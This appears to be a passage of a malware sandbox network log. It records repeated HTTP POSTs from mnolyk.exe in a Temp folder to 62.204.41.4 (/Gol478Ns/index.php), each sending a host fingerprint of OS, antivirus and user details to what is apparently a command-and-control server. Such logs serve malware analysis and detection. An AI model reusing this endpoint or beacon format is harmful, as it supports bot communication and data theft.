Feb 6, 2023 18:38:11.691916943 CET	951	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:11.757682085 CET	951	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.2.7	50220	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:11.948249102 CET	952	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:12.012115955 CET	952	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	192.168.2.7	50221	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:12.187047958 CET	953	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:12.251094103 CET	953	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.2.7	50222	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:12.425383091 CET	954	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:12.489129066 CET	954	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	192.168.2.7	50223	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:12.656455994 CET	955	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:12.718499899 CET	955	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.2.7	50224	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:12.894334078 CET	956	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:12.959162951 CET	956	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.2.7	50225	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:13.126471043 CET	957	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:13.190808058 CET	957	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	192.168.2.7	50226	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:13.375751972 CET	958	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:13.441234112 CET	958	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	192.168.2.7	50227	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:13.624630928 CET	959	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:13.687376976 CET	959	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49729	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:35:57.348762989 CET	437	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:35:57.413033962 CET	437	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	49774	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:09.754519939 CET	482	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:09.819736958 CET	482	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.2.7	50228	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:13.886569023 CET	960	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:13.951585054 CET	960	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	192.168.2.7	50229	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:14.131855965 CET	961	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:14.197653055 CET	961	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.2.7	50230	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:14.375520945 CET	962	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:14.438237906 CET	962	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	192.168.2.7	50231	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:14.609316111 CET	963	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:14.672333002 CET	963	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
504	192.168.2.7	50232	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:14.844485998 CET	964	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:14.907803059 CET	964	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
505	192.168.2.7	50233	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:15.078905106 CET	965	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:15.144630909 CET	965	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
506	192.168.2.7	50234	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:15.320717096 CET	966	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:15.384686947 CET	966	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
507	192.168.2.7	50235	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:15.569377899 CET	967	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:15.633167982 CET	967	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
508	192.168.2.7	50236	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:15.815188885 CET	968	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:15.879889965 CET	968	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
509	192.168.2.7	50237	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:38:16.048099041 CET	969	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:38:16.114763975 CET	969	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:38:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	49775	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:09.999213934 CET	483	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
